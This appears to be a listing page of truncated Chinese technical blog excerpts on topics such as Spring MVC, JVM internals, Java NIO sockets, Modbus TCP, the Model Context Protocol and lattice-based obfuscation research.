1、环境/问题介绍 概述:多臂老虎机问题是指:智能体在有限的试验回合 𝑇 内,从 𝐾 台具有未知奖赏分布的“老虎机”中反复选择一个臂(即拉杆),每次拉杆后获得随机奖励,目…...
Spring MVC Controller 方法的返回类型有哪些?
Spring MVC Controller 方法的返回类型非常灵活,可以根据不同的需求返回多种类型的值。Spring MVC 会根据返回值的类型和相关的注解来决定如何处理响应。 以下是一些常见的 Controller 方法返回类型: String: 最常见的类型之一,用于返回逻辑…...
Diamond iO:实用 iO 的第一缕曙光
1. 引言 当前以太坊基金会PSE的Machina iO团队宣布,其已经成功实现了 Diamond iO: A Straightforward Construction of Indistinguishability Obfuscation from Lattices —— 其在2025年2月提出的、结构简单的不可区分混淆(iO)构造…...
Spring MVC中跨域问题处理
在Spring MVC中处理跨域问题可以通过以下几种方式实现,确保前后端能够正常通信: 方法一:使用 CrossOrigin 注解 适用于局部控制跨域配置,直接在Controller或方法上添加注解。 示例代码: RestController CrossOrigin…...
Python爬虫(20)Python爬虫数据存储技巧:二进制格式(Pickle/Parquet)性能优化实战
目录 背景介绍一、二进制存储的核心优势二、Python Pickle:轻量级对象序列化1. 基本介绍2. 代码示例3. 性能与局限性 三、Apache Parquet:列式存储的工业级方案1. 基本介绍2. 代码示例(使用PyArrow库)3. 核心优势 四、性能对比与选…...
MCP系列(一)什么是MCP?
一、MCP 是什么:从 USB-C 到 AI 的「万能接口」哲学 MCP(Model Context Protocol,模型上下文协议) 是Anthropic于2024年11月推出的AI跨系统交互标准,专为解决LLM(大语言模型)的「数字失语症」—…...
使用Java NIO 实现一个socket通信框架
使用Java NIO(非阻塞I/O)实现一个Socket通信框架,可以让你构建高性能的网络应用。NIO提供了Channel、Buffer和Selector等核心组件,支持非阻塞模式下的网络编程。下面是一个简单的例子,展示了如何使用Java NIO创建一个基本的服务器端和客户端进行Socket通信。 1.服务器端 …...
Web前端技术栈:从入门到进阶都需要学什么内容
概述 Web前端技术栈:从入门到进阶都需要学什么内容。 1. jQuery:经典高效的DOM操作利器 作为早期前端开发的“瑞士军刀”,jQuery通过简洁的语法和链式调用大幅简化了DOM操作与事件处理。其核心模块如选择器引擎、动画效果和Ajax交互至今仍值…...
Kepware 连接Modbus TCP/IP
Modbus TCP modbus tcp 是modbus协议的一个变种,基于TCP/IP协议栈在以太网上进行通信。Modbus TCP采用客户端-服务器(Master-Slave)的通信模型。客户端发起请求,服务器响应请求。一个网络中可以有多个客户端和服务器,…...
PyCharm连接WSL2搭建的Python开发环境
目录 一、开启WSL2服务 二、安装Ubuntu 三、安装Anaconda 四、构建Tensorflow_gpu环境 五、PyCharm连接到WSL2环境 使用 PyCharm 连接 WSL2 搭建 Python 开发环境的主要目的是结合 Windows 的易用性和 Linux 的开发优势,提升开发效率和体验。以下是具体原因和优…...
JVM中类加载过程是什么?
引言 在Java程序运行过程中,类的加载是至关重要的环节,它直接关系到程序的执行效率和安全性。类加载不仅仅是简单地将.class文件读取到内存中,而是经历了加载、连接(包含验证、准备和解析)以及初始化等多个复杂步骤&a…...
JVM中对象的存储
引言 在 Java 虚拟机中,对象的内存布局是一个非常基础且重要的概念。每个 Java 对象在内存中都由三个主要部分构成:对象头(Header)、实例数据(Instance Data)和对齐填充(Padding)。…...
精益数据分析(48/126):UGC商业模式的指标剖析与运营策略
精益数据分析(48/126):UGC商业模式的指标剖析与运营策略 在创业和数据分析的学习之旅中,探索不同商业模式的运营奥秘是我们不断前行的动力。今天,依旧怀揣着和大家共同进步的期望,深入研读《精益数据分析》…...